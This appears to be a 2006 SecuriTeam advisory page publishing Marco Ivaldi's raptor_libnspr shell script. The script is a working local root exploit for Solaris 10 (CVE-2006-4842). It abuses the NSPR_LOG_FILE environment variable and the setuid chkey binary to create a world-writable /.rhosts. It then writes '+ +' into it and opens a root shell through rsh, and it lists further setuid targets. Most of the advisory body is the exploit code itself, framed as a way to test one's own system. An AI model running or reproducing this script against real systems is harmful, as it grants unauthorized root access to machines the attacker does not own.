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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Hack in Paris 2015 Cyber Security NC June 14 2015 TakeDown Con 2015 ISSE 2015 Cybersecurity BDS and IAS NY 2015 Cybersecurity for Healthcare NY 2015 Discount: SecuriTeam5_SANS Promo With Us Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner Scanner Review Fuzzer Review Web Scanner Review	Sun Microsystems Solaris NSPR Library Arbitrary File Creation (Exploit) 15 Oct. 2006    Summary The Netscape Portable Runtime (NSPR) API allows compliant applications to use system facilities such as threads, thread synchronization, I/O, interval timing, atomic operations and several other low-level services in a platform-independent manner. The following exploit code can be used to test your system for the mentioned vulnerability.   Credit: The information has been provided by Marco Ivaldi. The original article can be found at: http://www.0xdeadbeef.info/exploits/raptor_libnspr Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Exploit: #!/bin/sh # # $Id: raptor_libnspr,v 1.2 2006/10/13 21:06:43 raptor Exp $ # # raptor_libnspr - Solaris 10 libnspr oldschool local root # Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> # # Local exploitation of a design error vulnerability in version 4.6.1 of # NSPR, as included with Sun Microsystems Solaris 10, allows attackers to # create or overwrite arbitrary files on the system. The problem exists # because environment variables are used to create log files. Even when the # program is setuid, users can specify a log file that will be created with # elevated privileges (CVE-2006-4842). # # Usage: # $ chmod +x raptor_libnspr # $ ./raptor_libnspr # [...] # # id # uid=0(root) gid=0(root) # # # # Vulnerable platforms (SPARC): # Solaris 10 without patch 119213-10 [tested] # # Vulnerable platforms (x86): # Solaris 10 without patch 119214-10 [untested] # echo "raptor_libnspr - Solaris 10 libnspr oldschool local root" echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>" echo # prepare the environment NSPR_LOG_MODULES=all:5 NSPR_LOG_FILE=/.rhosts export NSPR_LOG_MODULES NSPR_LOG_FILE # gimme -rw-rw-rw-! umask 0 # setuid program linked to /usr/lib/mps/libnspr4.so /usr/bin/chkey # other good setuid targets #/usr/bin/passwd #/usr/bin/lp #/usr/bin/cancel #/usr/bin/lpset #/usr/bin/lpstat #/usr/lib/lp/bin/netpr #/usr/lib/sendmail #/usr/sbin/lpmove #/usr/bin/login #/usr/bin/su #/usr/bin/mailq # oldschool rhosts foo;) echo "+ +" > $NSPR_LOG_FILE rsh -l root localhost sh -i  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles E-Journal (Old Version) Multiple Vulnerabilities SimplyPlay v.66 .pls File Buffer Overflow Exploit C.P.Sub Multiple Default Credentials Vulnerability NProtect Anti-Virus Privilege Escalation Vulnerability Ripe HD FLV Player Plugin for WordPress Multiple Script Direct Request Path Disclosure Vulnerability CMS snews SQL Injection Vulnerability WeBid SQL Injection Exploit Invision Gallery SQL Injection Exploit ArrowChat External.php Lang Parameter Traversal Local File Inclusion Exploit WinWebMail Server Stored XSS Exploit TFTP Server for Windows ST WRQ Buffer Overflow Exploit QNX QCONN Remote Command Execution Exploit Distinct TFTP Writable Directory Traversal Execution Exploit Xion Audio Player 1.0.127 (.aiff) Denial of Service Exploit Wordpress Postie Plugin Stored XSS Exploit Vice City Multiplayer Server Remote Code Execution Exploit Sphpforum Multiple Exploits NetOp Remote Control Client Buffer Overflow Exploit MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit MaxForum Local File Inclusion Exploit  Featured Articles E-Journal (Old Version) Multiple Vulnerabilities Social Engine Multiple Exploits Novell Groupwise Address Book Remote Code Execution Exploit GWebmail XSS & LFI RCE Vulnerabilities Acpid Privilege Boundary Crossing Exploit McAfee Virtual Technician MVT.MVTControl.6300 ActiveX GetObject() Vulnerability 'SonicWall Global Management System XSS Vulnerability' 'Opera file:// Overflow' 'vxFtpSrv CWD Command Overflow' 'Kaminsky DNS Cache Poisoning Flaw Exploit for Domains' 'freeSSHD Post Authentication Buffer Overflow (Exploit)' 'Symantec Altiris Client Service Local Privilege Escalation (Exploit)' 'Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)' 'SurgeMail Webmail Host Header DoS' 'PHP Win32std Extension safe_mode/disable_functions Protections Bypass' 'WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)' 'MailEnable Buffer Overflow (LOGIN, Exploit)' 'Durian Web Application Server Buffer Overflow (Exploit)' 'KsIRC Buffer Overflow Exploit (PRIVMSG)' 'Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)'
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